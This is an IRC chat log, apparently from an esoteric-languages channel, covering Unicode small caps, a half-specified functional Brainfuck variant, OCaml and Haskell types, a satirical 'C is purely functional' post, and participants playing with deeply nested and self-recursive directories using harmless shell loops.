22:26:39 <ehird> as i think it wouldn't terminate when a regular LC forcer would
22:27:29 <ehird> oerjan: is that 'oh, well' or 'oh well' :P
22:27:42 <oerjan> what's the difference?
22:27:55 <ehird> oerjan: 'oh, well, you can fix that by doing X' or 'oh well... life sucks...'
22:28:33 * ehird puts oerjan out of his misery
22:28:38 <ehird> NOW I CAN TAKE OVER THE WORLD
22:29:06 <ehird> oerjan: Shut UP you're DEAD.
22:29:21 <oerjan> THAT'S WHY I'M TALKING IN ALL CAPS, STUPID
22:30:31 <coppro> I thought Death talked in caps, not Dead
22:30:46 <ehird> coppro: DEATH TALKS IN SMALL-CAPS.
22:30:51 <ehird> THE DEAD TALK IN CAPS.
22:31:26 <coppro> oerjan wins; ehird is disqualified due to IRC not having small caps
22:31:30 <coppro> also due to not being dead
22:31:38 <ehird> IRC so has small caps; Unicode does.
22:31:59 <oerjan> OH NO, NOT THE UNICODE. PLEASE, NOT THAT
22:32:55 <oerjan> ---------------------O-
22:33:36 * oerjan HOPED myndzi WAS USEFUL FOR HANGMAN
22:33:37 * myndzi HOPED oerjan WAS USEFUL FOR HANGMAN
22:35:43 <ehird> coppro: No, I'm right.
22:35:47 <AnMaster> <ehird> IRC so has small caps; Unicode does. <-- example
22:35:49 <coppro> nicode does not have a complete set of small caps
22:35:57 <ehird> It does for the Latin a-z.
22:36:08 <AnMaster> because I'm pretty sure that is a font thing, not a encoding thing
22:36:13 <coppro> it has all but F, I, Q, S, X
22:36:22 <coppro> because they exist for other purposes (like IPA)
22:36:24 <ehird> FIQSX are for lame people.
22:36:41 <coppro> AnMaster: Unicode defines a number of differently-formatted characters
22:36:48 <oerjan> <ehird> I'm so unoriginal <-- YOU MEAN UNOLIGINAL
22:36:50 <SimonRC> ITYM "are phor lame people"
22:37:11 <AnMaster> coppro, yes I know the wide ones. I disagree with them.
22:37:20 <ehird> SimonRC: Methunk you mean "Methunk you mean"
22:37:24 <coppro> AnMaster: more than that
22:37:25 <AnMaster> yes I know it tries to be compatible
22:37:39 <AnMaster> coppro, yes ^2 and such. Which is again a font issue.
22:37:45 <ehird> AnMaster: they have a good justification; you're just blind to the culture requiring them
22:37:50 <coppro> once again, more than that
22:38:03 <AnMaster> ehird, what culture require the superscript 2 one?
22:38:41 <SimonRC> unicode is a bit messy, bit it could be much worse
22:39:21 <AnMaster> I mean, there is actually a difference in meaning
22:39:43 <AnMaster> I don't know of any such for superscript 2, or ∈ (another math symbol)
22:39:49 <ehird> oerjan: maybe i could add an argument mentioning whether we reduced
22:39:56 <AnMaster> assuming that ∈ is what I think it is
22:40:07 <ehird> you think we don't need an ∈ character?
22:40:35 <oerjan> ehird: SURE, EXCEPT YOU MEAN RESULT I THINK
22:40:45 <AnMaster> ehird, you are a retard if you think I think so
22:40:57 <ehird> 22:39 AnMaster: I don't know of any such for superscript 2, or ∈ (another math symbol)
22:41:22 <ehird> clearly coppro was confused at whaty ou meant as well
22:41:25 <AnMaster> ehird, it seemed to be stylised ∈ here.
22:41:45 <coppro> probably your default font doesn't have it, so your client picks another
22:41:48 <AnMaster> it looks kind of italics in Dejavu Sans Mono 9
22:41:52 <coppro> as a result you see it differently
22:41:54 -!- inurinternet has joined.
22:42:04 <AnMaster> coppro, if dejavu doesn't have it, then I'm very surprised.
22:42:49 <coppro> Is that in DejaVu for you?
22:45:38 -!- augur has joined.
22:46:25 <Warrigal> 21:42 < coppro> à¶[+spoony ] [ Firenze ] [ Keiya ] [ Rachel ]
22:46:58 <coppro> I have no clue what it was, I just picked a random character that degraded to Unifont
22:46:58 <Warrigal> I think I need to set my lunch.normish.org locale.
22:47:13 <coppro> how come we always get into Unicode discussions?
22:49:00 <AnMaster> coppro, dejavu doesn't have everything, but it does have ∈. And it looks right in Dejavu Sans Mono 12, just not in 9
22:49:57 <Warrigal> It will be effective either next time I log in or next time I reboot. If the latter, I'll have to get used to the old one. :-P
22:52:08 * SimonRC remembers the killer character someone on here put together
22:52:19 <SimonRC> it have like 80 combining modifiers on it
22:52:44 <SimonRC> it kept crashing screen for me (fixed in a newer version of screen)
22:53:09 <AnMaster> SimonRC, why does screen care about it
22:53:34 <AnMaster> it doesn't need to actually render it, that is up to the terminal emulator
22:53:35 <SimonRC> because screen can do charset interpretation
22:53:42 <SimonRC> and screen has to know how wide it is
22:56:24 -!- CESSMASTER has quit ("☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃").
22:56:34 <ehird> 22:46 Warrigal: I think I need to set my lunch.normish.org locale.
22:56:58 <ehird> wuzzu = what's that
22:57:10 <Warrigal> lunch.normish.org is my lunchhub.com development server.
22:57:12 <ehird> just grok the meaning from glorked context
22:57:31 <ehird> "Lunch Hub is a place where friends and co-workers can speed up the decision of where to go to lunch. This site makes it easy by laying out all the options and letting you announce where you want to go. "
22:57:33 <Warrigal> I'm going to install LAMP on it :-D
22:57:38 <ehird> that sure sounds like it needs a mega development server.
22:57:46 <oerjan> gliffle the gromp, fnibbles
22:57:46 <ehird> "the website you can literally eat at"?
22:57:53 <ehird> you can't eat at the website
22:57:55 <Warrigal> Yeah. I had to skip college to pay the $20 a month.
22:58:10 <ehird> it's even more wrong
23:02:36 -!- GregorR-L has quit (Read error: 110 (Connection timed out)).
23:04:11 <ehird> Warrigal: You should switch to prgmr.com and get 1GB of RAM for the same price.
23:06:43 <Warrigal> I don't think the amount of RAM matters.
23:06:56 <Warrigal> I'll try to keep prgmr.com in mind, though.
23:07:19 <ehird> Warrigal: Also, 14GB more disk space .
23:07:32 <ehird> And 60GB more bandwidth.
23:07:37 <ehird> Warrigal: Also, IPv6.
23:08:00 <ehird> Warrigal: Also, faster CPU since it's less popular and they're Xen tweakers.
23:08:13 <ehird> Also, you can install any OS that Xen supports.
23:08:22 <ehird> Hmm, they don't seem to have IPv6 yet on their new servers, whatever
23:18:27 <AnMaster> SimonRC, auto generated code though
23:18:43 <oerjan> it has a nice symmetry, symbolizing the oppression of the lower castes
23:18:44 <AnMaster> SimonRC, it was p[1]+=255*p[5]; before
23:19:04 <AnMaster> SimonRC, do you think +=- is a improvement visually
23:19:17 <ehird> changing +=- into -= is trivial.
23:19:35 <AnMaster> ehird, except not: p[1]+=-p[5]+2*p[8];
23:19:36 <SimonRC> also, zero tests come out correct, unline what could happen with 255*
23:19:49 <AnMaster> you need to check there is only one single term after
23:20:11 <SimonRC> isn't that easy since you are using the parse tree?
23:20:33 <AnMaster> SimonRC, actually this is in the form of a polynomial, represented as a list of coefficients.
23:20:42 <SimonRC> well, if you add 255 256 times, you get 0 in BF, but not in C
23:20:54 <AnMaster> SimonRC, true, that was 255 though
23:21:01 <AnMaster> SimonRC, and you do in C if you use unsigned char
23:22:43 <AnMaster> SimonRC, also, at the point where it is easy to fix up, I don't have the assignment yet
23:22:55 <AnMaster> as in, I only have the bit after += or = or whatever there is
23:23:03 <AnMaster> I don't yet know if it is = or +=
23:24:29 -!- jix_ has joined.
23:24:53 <ehird> Well, this is a new one. The threat of litigation to motivate people to do voluntary work.
23:26:36 <ehird> SimonRC: a patchset to GHC to make it compile stuff for the iPhone — http://upcycle.it/~blackh/iphone/LICENSE; summary (based on what they've said too): "We don't let people use this commercially yet so everyone focuses on integrating it with GHC!"
23:26:59 <ehird> a rather sour taste finds its way into my mouth via my screen.
23:30:47 <AnMaster> SimonRC, another result of this change:
23:32:57 <oerjan> um those -+ at the beginning are diff marks, not algebra, i assume?
23:36:32 -!- jix has quit (Read error: 113 (No route to host)).
23:42:14 <jix_> there is probably a functional brainfuck variant out there right?
23:42:46 <AnMaster> procedural ones yes, but I don't know about functional ones
23:43:06 <jix_> i'm creating one right now...
23:43:19 <jix_> which is purely functional and tc
23:44:32 <jix_> ehird: i started with the idea that if you take haskell... you could define +-<>., to be of type IO
23:44:51 <ehird> jix_: that's... very warped :P
23:44:58 <jix_> then you could define some test function of type IO -> IO -> IO
23:45:20 <jix_> which runs the first parameter on nonzero and the 2nd on zero
23:45:42 <jix_> and then i started changing stuff from there on to avoid thousand usages of bind
23:45:44 <ehird> i think you have a very warped understanding of haskell :)
23:45:49 <ehird> but give some example code.
23:45:54 <ehird> it's not purely functional if you do everything in io
23:46:12 <jix_> ehird: the language itself is...
23:46:19 <ehird> yes, but that's just semantics
23:46:24 <jix_> in contrast to unlambda for example
23:46:34 <jix_> well then maybe that's the wrong word
23:47:08 <jix_> but you might have noticed that [ and ] aren't defind
23:47:24 <jix_> so it's not just a brainfuck template language
23:47:39 <jix_> as soon as you test a single cell.. you end up writing functional stuff
23:48:59 <AnMaster> jix_, how does that functional stuff look
23:49:15 -!- Corun has joined.
23:49:25 <jix_> for example to get a loop you'd need something like \x . x x
23:49:49 -!- Corun has quit (Client Quit).
23:49:57 <ehird> AnMaster: lambda calculus.
23:50:03 <ehird> methinks jix_ is a bit confused about how all this works :)
23:50:22 <jix_> ehird: in what way?
23:50:36 <ehird> jix_: well, \x. x x doesn't do anything in the LC
23:50:52 <jix_> ehird: well you have to apply it to something
23:51:54 <jix_> you could even use the bf part only for IO and do calculations using church encoded stuff
23:52:24 <ehird> so uh this is... haskell?
23:52:49 <AnMaster> ehird, wrong, haskell with a syntax that is a mix of lambda and bf
23:52:52 <ehird> your language seems incredibly ill-defined...
23:53:16 <jix_> ehird: maybe because i haven't written a complete spec
23:53:24 * oerjan swats AnMaster back -----###
23:53:54 * AnMaster deflects the swat with his o=========E
23:56:43 -!- KingOfKarlsruhe has left (?).
00:08:00 <jix_> hmm to implement this i need a type checker....
00:09:42 <jix_> hmmm defining application for something that isn't a function makes this unnice
00:16:05 <jix_> ok i need recursive types or a builtin fixed point operator :/
00:16:49 <ehird> just compile to haskell :p
00:16:56 <jix_> haskell lacks recursive types
00:17:18 <jix_> at least without some extension... not sure about that
00:17:56 <ehird> jix_: haskell has a built-in fixed point operator
00:17:59 <ehird> jix_: you could compile to ocaml
00:18:06 <ehird> ofc then you lose type safety
00:18:21 <jix_> ehird: yeah but doing a fixed point operator is trivial
00:18:29 <jix_> (when writing an interpreter)
00:18:32 <oerjan> jix_: for recursive types in haskell, use newtype
00:19:26 <jix_> i could of course use runtime typechecking....
00:19:30 <jix_> but that sucks
00:19:31 * ehird decides to implement something in ocaml.
00:19:35 <ehird> an esolang that is
00:25:23 <Ilari> One idea for non-tc tarpit language: Bounded-loop language with conway arrow operator. :-)
00:30:42 <Ilari> And Conway arrow gets some crazy large numbers fast. Especially if you chain them. Three-arrow chains rapidly produce values bigger than even Graham's number (or even "xkcd number").
00:37:31 -!- Arrogant has joined.
00:40:21 <ehird> Ilari: A(g64,g64) arrow chains, bitch!
00:41:03 <Arrogant> I haven't been here for like a year
00:41:49 <ehird> Arrogant: the usual, most likely
00:43:10 <Arrogant> so... brainfuck and like 50 variations?
00:43:49 <ehird> Arrogant: we may have more of a functional bent nowadays, although perhaps not as recently as a year ago
00:44:09 <Arrogant> I think a year might've been an optimistic estimate
00:44:21 -!- Dewio has joined.
00:44:30 <ehird> which doesn't work yet.
00:44:36 <pikhq> Oh, and EgoBot has been rewritten.
00:44:43 <oerjan> also the occasional befunge, right fungot?
00:44:44 <fungot> oerjan: and you have to learn more about scheme and he muttered it again, this is neither politics nor fnord.
00:45:04 <ehird> (Arrogant: in case you don't know who fungot is, here's a file that no man should wot of: http://zem.fi/~fis/fungot.b98.txt)
00:45:04 <fungot> ehird: the structure is assumed to mean fnord)? i
00:46:00 <GregorR> fungot: Yes fungot, the structures IS assumed to mean fnord). i
00:46:01 <fungot> GregorR: go and ping riastradh already said that
00:46:01 <ehird> oerjan: can you do mutually recursive functions in ocaml without an .mli?
00:46:24 <ehird> !slashes /foo/bar/foobar
00:46:30 <oerjan> ehird: put them in the same val rec block with and between, iirc
00:46:33 <ehird> !slashes /foo/bar/foo/bar/foo/bar
00:46:43 <ehird> 'sat an infinite loop ey?
00:47:15 <ehird> /foo/bar/foo/bar/foo/bar →
00:47:51 <oerjan> /bar/bar/bar -> inf loop
00:48:00 <Arrogant> ehird, that is a rather horrific file to be sure
00:48:02 <ehird> a replacement doesn't consider itself
00:48:08 <ehird> Arrogant: it's fungot's source!
00:48:08 <fungot> ehird: he's french, jcowan. they can't type much with qwerty without suffering pain.)
00:50:33 <oerjan> at least in my implementation. it's not like it checks for any special cases....
00:50:44 <ehird> oerjan: mine scanned after, you see
00:50:46 <ehird> as per the optimization
00:51:15 <oerjan> note that /bar/barf/bar is _definitely_ an infinite loop
00:51:46 <oerjan> by the specification, the substitution is repeated on the first instance until the source string no longer occurs
00:52:16 <ehird> bsmntbombgirl: why
00:52:37 <bsmntbombgirl> ehird: because i can read from it 3 times faster than i can write to anything!
00:52:51 <ehird> bsmntbombgirl: buy one of the crappy-random-access-but-large-storage ssds
00:52:55 <ehird> they have fast sequential speed :P
00:55:50 -!- Dewi has quit (Read error: 101 (Network is unreachable)).
00:59:04 <ehird> [[“C programmers” really program not in C, but in the purely functional language cpp. As with any purely functional language, cpp consists only of (nestable) expressions, not statements. Now here’s the clever part: when evaluated (not executed), a cpp expression yields a (pure) value of type C, which is an ADT (abstract type) that represents imperative programs. That value of type C is then executed (not evaluated) by the cpp language’s RTS (run-
00:59:07 <ehird> time system). As a clever optimization, cpp’s RTS actually includes a code generator, considerably improving performance over more naïve implementations of the C abstract data type. ]]
01:02:58 <pikhq> I didn't know that CPP was purely functional.
01:03:04 <ehird> pikhq: modulo #undef :)
01:03:27 <pikhq> Well, if you ignore undef, then yes, yes it is.
01:04:25 <ehird> http://conal.net/blog/posts/the-c-language-is-purely-functional/
01:04:30 <ehird> "or char *, for you type theorists, using a notation from Kleene"
01:05:42 <augur> ehird: i think thats actually the origin of the * notation. not that it matters, since a char* is not a kleene star of chars but
01:06:56 <augur> if C is purely functional, then why bother with haskell?
01:07:04 <ehird> augur: the post's a joke yo.
01:07:14 -!- inurinternet has quit (No route to host).
01:07:16 <GregorR> ehird: Your MOM is a joke, yo.
01:07:22 <ehird> augur: read the conclusion
01:07:26 <ehird> it's argumentum ad absurdum
01:07:46 -!- Dewio has changed nick to Dewi.
01:08:19 <augur> but i dont agree with his argument in the first place! D:
01:08:26 <ehird> his argument is technically true
01:08:36 <augur> because people dont code in cpp
01:08:50 * ehird hands augur an "I Didn't Read The Post!" badge
01:09:00 <augur> ehird, i read the post when it was first posted.
01:09:12 <pikhq> Someone wrote "Hunt the Wumpus" in CPP for IOCCC, IIRC.
01:09:21 <ehird> so did your mom, though
01:09:26 <augur> how do people code in cpp?
01:09:28 <GregorR> Of note: CPP isn't TC, so this is all silliness :P
01:09:33 <ehird> GregorR: Nor did you!
01:09:53 <pikhq> GregorR: It is if you assume iterated executions.
01:09:58 * Warrigal hands himself an "I Didn't Read The Post!" badge.
01:10:12 <GregorR> pikhq: Which you don't, because that's not how it's used.
01:10:13 <Warrigal> The post fails to specify what a value of type cpp returns upon execution.
01:10:48 <Warrigal> In particular, there's quite a lot that can't be bothered to finish this sentence, so I'm going to do something else.
01:11:18 <pikhq> GregorR: Anyways, CPP is still purely functional. It just doesn't allow recursion. :P
01:11:34 <pikhq> (making it the single most useless purely functional language I know of)
01:11:41 <GregorR> Yeah, it's purely function and non-TC.
01:11:55 -!- upyr[emacs] has quit (Remote closed the connection).
01:12:07 <augur> oh i see what you mean.
01:12:16 <augur> slereah_: only some algebras!
01:12:35 <pikhq> My computer algebra system is TC!
01:12:37 <GregorR> "Algebra", in the usual formulation of the word, does not include functions, and so cannot include recursion.
01:12:44 <augur> actually, i dont think any algebra is TC, since an algebra is a formal system, not an algorithm for computation
01:12:44 <Warrigal> Algebra has infinite storage space.
01:12:44 <pikhq> (it is in fact a Lisp!)
01:13:00 <Warrigal> Formal systems can be TC or not, surely.
01:13:10 <GregorR> Your mom can be TC or not, surely.
01:13:24 <ehird> YOUR FACE CAN BE JFHIUDwh5iu3oi 6o56opsai35f893q90-[[[q
01:13:25 <Slereah_> My mom doesn't have infinite memory
01:13:29 <Warrigal> Like if there's a function from Turing machine to sentence computable by an FSA where the sentence is derivable if and only if the machine halts.
01:13:30 <augur> Slereah_: not really. First order and second order logic are not "turing complete". its meaningless to apply that phrase to them.
01:13:38 <pikhq> GregorR: There is some confusion, though, since most people are introduced to functions in their "Algebra" course.
01:14:08 <Slereah_> augur : But you can define algorithm in logic :o
01:14:19 <Warrigal> I was introduced to calculus in my Pre-Calculus course. That was weird.
01:14:21 <augur> im pretty sure it wasnt
01:14:30 <augur> the incompleteness theory isnt about algorithms
01:14:42 <ehird> he's right you know
01:14:43 <pikhq> Warrigal: I was introduced to the calculus of derivatives in my pre-calc class, as well.
01:14:47 <Slereah_> Half of the paper is about them
01:15:00 <Slereah_> With recursive functions and shit
01:15:04 <pikhq> But for some reason, we were only taught how to take the derivative of polynomials.
01:15:16 <Warrigal> We were taught the definition of a derivative.
01:15:17 <pikhq> I guess they wanted to cover the trivial case?
01:15:24 -!- inurinternet has joined.
01:15:26 <GregorR> My disdain for this conversation brings about many childish "your mom" jokes. But then again, your MOM'S disdain for this conversation brings about many childish "your mom" jokes.
01:15:30 <Warrigal> So, how do you take the derivative of x^2 + 3x + 4, everyone?
01:16:01 <pikhq> Define "definition". Formal defintion involving either infinitisimals or \lim?
01:16:02 <GregorR> With milk and two scoops of sugar.
01:16:12 <pikhq> Or just "It's the slope of the tangent line"?
01:16:22 <Warrigal> Plug it into the definition: lim_(h->0) ((x+h)^2 + 3(x+h) + 4 - x^2 - 3x - 4)/h
01:16:49 <pikhq> Slereah_: ... Open sets? Really?
01:17:03 <Warrigal> Multiply it out: lim_(h->0) (x^2 + 2xh + h^2 + 3x + 3h + 4 - x^2 - 3x - 4)/h
01:17:04 <Slereah_> I seem to recall analysis stuff defined with topology
01:17:18 * pikhq doesn't know much of set theory; I just got through calc 3, man!
01:17:19 <Slereah_> Of course, the definitions are pretty much the same as limits
01:17:27 <Slereah_> Except it employs the local vocabulary
01:17:27 <Warrigal> Cancel: lim_(h->0) (2xh + h^2 + 3h)/h
01:17:43 <Warrigal> Cancel: lim_(h->0) (2x + h + 3)
01:18:35 <Warrigal> I didn't do that. I used the calculus I knew that everyone else didn't.
01:19:53 <ehird> How to take the derivative of (x^2 + 3x + 4) for lazies:
01:19:54 <ehird> In[11]:= D[x^2 + 3 x + 4, x]
01:20:12 <Warrigal> Unfortunately, Mathematica isn't allowed on the AP test.
01:20:24 <Warrigal> Hmm, will Mathematica take a Lagrange error bound?
01:21:07 <ehird> it'll take your mom Warrigal
01:21:26 <oerjan> nonstandard analysis monads, that is
01:21:27 <Warrigal> They let you show that the derivative of dy/dx with respect to x is d^2y/dx^2 - dy/dx.
01:22:30 <pikhq> Y'know, I'd really like to learn Haskell. Unfortunately, it seems that I don't know enough math to understand it.
01:23:46 <lament> pikhq: you don't need any math...
01:24:15 <ehird> Haskell is just functional programming.
01:24:20 <ehird> It just happens to have parallels to category theory.
01:24:41 <ehird> i'm pretty much mathtarded and i grok haskell
01:24:47 * pikhq is coming from a heavy string of imperative languages. Mind blowing begin now
01:25:04 <ehird> pikhq: may I interest you in the airline food, Scheme?
01:25:11 <ehird> (Note: is not disgusting like airline food)
01:25:13 <pikhq> Fine, I'll struggle through it. Mind-blowing can't be too bad for me, can it?
01:25:28 <ehird> Have another analogy:
01:25:38 <Warrigal> Mind blowing is definitely good for a person.
01:25:42 <ehird> Scheme. It's Haskell's gateway drug.
01:25:43 <Warrigal> Mind-blowing, on the other hand, is an adjective.
01:25:59 <oerjan> pikhq: when brain juice starts pouring out of your nose, it may be time to take a break
01:26:57 <oerjan> it's a fairly rare side-effect of haskell, though. not to be confused with nose-bleeding.
01:27:50 <oerjan> (all haskell side-effects are rare)
01:28:05 <ehird> pikhq: http://learnyouahaskell.com/ is probably the best tutorial for an imperativer
01:28:17 <ehird> (if you can stand the style, i love it)
01:28:40 <ehird> pikhq: but yeah, it uses basically no mathematics and doesn't tell you false rubbish only to correct it later
01:32:31 <pikhq> oerjan: I thought it was purely functional? :P
01:33:15 <fungot> monads monads monads monads monads monads monads monads monads monads monads monads monads monads monads monads monads monads monads monads monads monads monads monads monads monads monads monads monads monads monads monads monads monads monads monads monads monads monads monads monads monads monads monads monads monads mo ...too much output!
01:33:47 <GregorR> monads monads monads monads monads monads monads monads monads monads monads monads IO IO
01:35:11 <EgoBot> help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help <command>.
01:35:17 <EgoBot> userinterps: Users can add interpreters written in any of the languages in !help languages. See !help addinterp, delinterp, show | !userinterps. List interpreters added with !addinterp.
01:35:59 <Warrigal> !addinterp svedeesh sh chef | fmt -w500
01:35:59 <EgoBot> Interpreter svedeesh installed.
01:36:05 <ehird> pikhq: btw, visit #haskell. we don't bite.
01:36:08 <Gracenotes> ugh. removing accidentally mutually recursive directories is annoying
01:36:14 <Warrigal> !addinterp sfedeesh sh chef | fmt -w500
01:36:14 <EgoBot> Interpreter sfedeesh installed.
01:36:26 <GregorR> Gracenotes: ... creating mutually recursive directories sounds like quite the hat tric.
01:36:36 <Gracenotes> simple as rm -rfv, but still, the log is quite verbose
01:36:46 <Gracenotes> removed directory: 'a/b/a/b/a/b/a/b/a/b'
01:36:48 <Gracenotes> removed directory: 'a/b/a/b/a/b/a/b/a'
01:37:12 <Gracenotes> I'm guessing there's a maximum recursion depth that made the whole thing terminate okay
01:37:29 <GregorR> Gracenotes: How did you accomplish this feat in the first place?
01:37:52 <GregorR> Linux+ext3 doesn't let you hardlink directories IIRC
01:38:15 <GregorR> (Where by "you" I mean "even root")
01:38:18 <Gracenotes> GregorR: not sure. I think I accidentally dragged a directory in nautilus into a folder in its directory
01:38:20 <Warrigal> Well, then, use a different filesystem.
01:38:35 <Gracenotes> by "directory in nautilus", I mean a part of its gui
01:38:54 <Gracenotes> the bar at the top. I'm using ext3 by the way
01:39:20 <Warrigal> a = mkDirectory "a" [mkDirectory "b" [a]]
01:40:12 <GregorR> If, using some filesystem that allows you, you create two mutually recursive directories, can you unlink the top one from its original path and allow them to exist, both with one reference, defying your filesystem's simple reference counting garbage collector? :P
01:40:50 <Gracenotes> okay. Doing find on these directories does terminate
01:41:02 <pikhq> I'd assume this is why you can't hardlink directories. :P
01:41:13 <GregorR> Yeah, I'm thinkin' it just is copying into itself at some arbitarily silly depth.
01:42:00 <Gracenotes> according to Haskell, the number of slashes in the longest path is 994
01:42:06 <ehird> ln: `a': hard link not allowed for directory
01:42:19 <ehird> can you morph a file into a directory in-place?
01:42:29 <GregorR> Uh, no? Not without a hexeditor :P
01:42:59 <GregorR> Because there's no interface in the filesystem's API to allow you to?
01:43:05 <pikhq> Maybe with libext2?
01:43:10 <ehird> pikhq: for HFS+ :P
01:43:22 <GregorR> I vote you use a hexeditor.
01:43:22 <ehird> [ehird:~/Junk] % cd a/b/a/b/
01:43:23 <ehird> my_cd:pushd: too many levels of symbolic links: a/b/a/b/
01:43:28 <ehird> okay, first of all
01:43:36 <ehird> I'm not opening a 256GB file in any editor then searching it
01:43:46 <ehird> can you even do that to a mounted filesystem?
01:43:52 <ehird> i don't have any backups so fuck that
01:43:53 <pikhq> third, why is cd redefined to pushd?
01:44:08 <Gracenotes> okay, here's the rm log. http://67.223.225.106/weird.txt
01:44:13 <ehird> my_cd() { dirs=($(dirs)); if [[ ! -z $1 && $1 != $dirs[1] ]]; then pushd $*; fi }
01:44:13 <ehird> setopt pushd_silent
01:44:18 <Gracenotes> nothing too exciting. but rm did produce it
01:44:21 <ehird> pikhq: So I can jump around my "directory history".
01:44:22 <GregorR> /home/gregor/test/loopy/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a
01:44:45 <ehird> although i should add a fwd
01:44:54 <ehird> [ehird:~/Junk/a/b] % cd a
01:44:54 <ehird> my_cd:pushd: too many levels of symbolic links: a
01:45:21 <pikhq> ehird: Perhaps by having bk pop to some other stack. :P
01:45:21 <ehird> [ehird:~/Junk/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b] %
01:45:54 <ehird> pikhq: GregorR: Gracenotes:
01:45:56 <ehird> [ehird:~/Junk/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b/a/b] % cd a/b/a/b/a/b/a/b/a/b/a/b/a/b
01:45:59 <ehird> [ehird:~/Junk/a/b] %
01:46:02 <ehird> WHAT DOES IT MEAN????????????
01:46:10 <ehird> I WAS TRANSPORTED ALL THE WAY BACK!
01:46:49 <ehird> ls: a/b/a: not listing already-listed directory
01:47:09 <ehird> `run for i in $(seq 1000); do cd a; done
01:47:25 <HackEgo> a \ bin \ paste \ quotes \ share \ tmpdir.8746
01:47:38 <ehird> `run for i in $(seq 10); do cd a; done
01:47:48 <ehird> `run for i in $(seq 10); do cd a; done; pwd
01:47:51 -!- augur has quit ("Leaving...").
01:48:07 <GregorR> `run ( while true; do cd a; done ) 2>&1 | tail -n 2
01:48:22 * GregorR just assumes that'll fail at some point :P
01:48:26 <ehird> % for i in $(seq 1000); do mkdir a; cd a; done
01:48:33 <ehird> i can has break my filesystem?
01:49:07 <GregorR> $ while true; do mkdir a; cd a; done
01:49:17 <GregorR> (That makes me more hardcore than you)
01:49:31 <ehird> Uh, I think I'm running out of disk.
01:49:43 <GregorR> /home/gregor/test/baddir/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a
01:49:43 <GregorR> /a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a
01:49:57 <GregorR> /home/gregor/test/baddir/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a
01:49:57 <GregorR> /a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a
